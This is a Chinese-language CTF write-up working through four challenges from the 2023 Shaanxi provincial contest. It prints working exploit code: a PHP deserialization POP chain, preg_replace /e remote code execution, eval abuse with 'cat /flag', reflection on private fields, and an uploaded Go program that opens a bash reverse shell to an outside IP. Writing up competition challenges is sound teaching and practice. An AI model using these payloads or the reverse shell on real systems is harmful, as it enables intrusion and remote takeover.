2023陕西省赛部分复现
ezpop
进入一个点击页面,点了之后重定向到空白页面
在js文件中找到一串base64编码数据:L3BvcDNaVGdNdy5waHA=
得到/pop3ZTgMw.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php highlight_file(__FILE__);
class night { public $night;
public function __destruct(){ echo $this->night . '哒咩哟'; } }
class day { public $day;
public function __toString(){ echo $this->day->go(); }
public function __call($a, $b){ echo $this->day->getFlag(); } }
class light { public $light;
public function __invoke(){ echo $this->light->d(); } }
class dark { public $dark;
public function go(){ ($this->dark)(); }
public function getFlag(){ include(hacked($this->dark)); } }
function hacked($s) { if(substr($s, 0,1) == '/'){ die('呆jio步'); } $s = preg_replace('/\.\.*/', '.', $s); $s = urldecode($s); $s = htmlentities($s, ENT_QUOTES, 'UTF-8'); return strip_tags($s); }
$un = unserialize($_POST['快给我传参pop']); throw new Exception('seino');
|
然后注意一下传参的地方
有不可见字符,等会传参的时候注意一下
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php
class night { public $night;
public function __destruct(){ echo $this->night . '哒咩哟'; } }
class day { public $day;
public function __toString(){ echo $this->day->go(); }
public function __call($a, $b){ echo $this->day->getFlag(); } }
class light { public $light;
public function __invoke(){ echo $this->light->d(); } }
class dark { public $dark;
public function go(){ ($this->dark)(); }
public function getFlag(){ include(hacked($this->dark)); } } $a = new night(); $a->night = new day(); $a->night->day = new dark(); $a->night->day->dark = new light(); $a->night->day->dark->light = new day(); $a->night->day->dark->light->day = new dark(); $a->night->day->dark->light->day->dark = 'php://filter/read=convert.base64-encode/resource=/flag';
echo serialize(array($a,0));
|
利用hackbar传,直接复制那一串不可见字符
可以看到光标在中间,然后直接输入=payload即可
ezrce
随便submit一下,即可得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php error_reporting(0); include 'waf.php'; header("Content-Type:text/html;charset=utf-8"); echo "你是谁啊哥们?把钥匙给我!!!!<br/>"; $key=$_GET['key']; $name=$_POST['name']; $qaq=waf($_POST['qaq']); if (isset($_GET['key'])){ highlight_file(__FILE__); } if (isset($name)) { echo "你是".$name."大人????<br/>"; $name1=preg_replace('/hahaha/e',$qaq,$name); echo "骗我的吧,你明明是 >>>>小小".$name1; } ?>
|
preg_replace的/e命令执行
抓包测试一下,发现最后()没有被过滤,可能是无参数rce
发送如下数据包
1 2 3 4 5 6 7 8 9 10 11 12 13
| GET /?key=1 HTTP/1.1 Host: cc76e93c.clsadp.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.41 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: PHPSESSID=../../../../../../../../flag Connection: close Content-Length: 59
qaq=show_source(session_id(session_start))&name=1
|
unserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php highlight_file(__FILE__); header("Content-type:text/html;charset=utf-8"); require_once "waf.php"; error_reporting(0); class getFlag{ private $password; private $cmd; public function __destruct(){ if($this->password==" //how to change the private variablessecret"){ system($this->cmd); } } } $a = $_GET['a']; if(isset($_GET['a'])){ @eval(waf($a)); } ?>
|
非预期:直接?a=passthru%20(%27cat%20/flag%27);即可
预期:
robots.txt看到提示:hint.php
1
| you can use these(getProperty、ReflectionObject、getFlag、getProperty、setAccessible、setValue)function
|
应该就是参数a能够使用的函数
根据这个提示,可以想到利用反射来修改private变量
exp
1 2 3 4 5 6 7 8
| $flag = new getFlag(); $reflectionObject = new ReflectionObject($flag); $reflectionProperty = $reflectionObject->getProperty('password'); $reflectionProperty->setAccessible(true); $reflectionProperty->setValue($flag, " //how to change the private variablessecret"); $reflectionProperty = $reflectionObject->getProperty('cmd'); $reflectionProperty->setAccessible(true); $reflectionProperty->setValue($flag, 'cat /f*');
|
直接将这一串代码传递给a即可
test
进入页面,发现一个提示
进入后显示没有任何东西,修改为/profile/admin
1
| {"result":"admin:513106c051f94528f1d386926aa65e1a"}
|
利用admin账户登录
1
| "post your .go file and I'll run it!"
|
然后就利用go语言反弹shell即可
发送如下数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| POST /Adm1nUp104d/ HTTP/1.1 Host: f8a6a81e.clsadp.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------25185889145735891031586222286 Content-Length: 837 Origin: null Connection: close Upgrade-Insecure-Requests: 1
-----------------------------25185889145735891031586222286 Content-Disposition: form-data; name="file"; filename="shell.go" Content-Type: application/octet-stream
package main
import ( "fmt" "log" "os/exec" )
func main() { cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/101.42.52.114/9999 0>&1") out, err := cmd.CombinedOutput() if err != nil { fmt.Printf("combined out:\n%s\n", string(out)) log.Fatalf("cmd.Run() failed with %s\n", err) } fmt.Printf("combined out:\n%s\n", string(out)) } -----------------------------25185889145735891031586222286 Content-Disposition: form-data; name="direction"
upload -----------------------------25185889145735891031586222286 Content-Disposition: form-data; name="attr"
-----------------------------25185889145735891031586222286--
|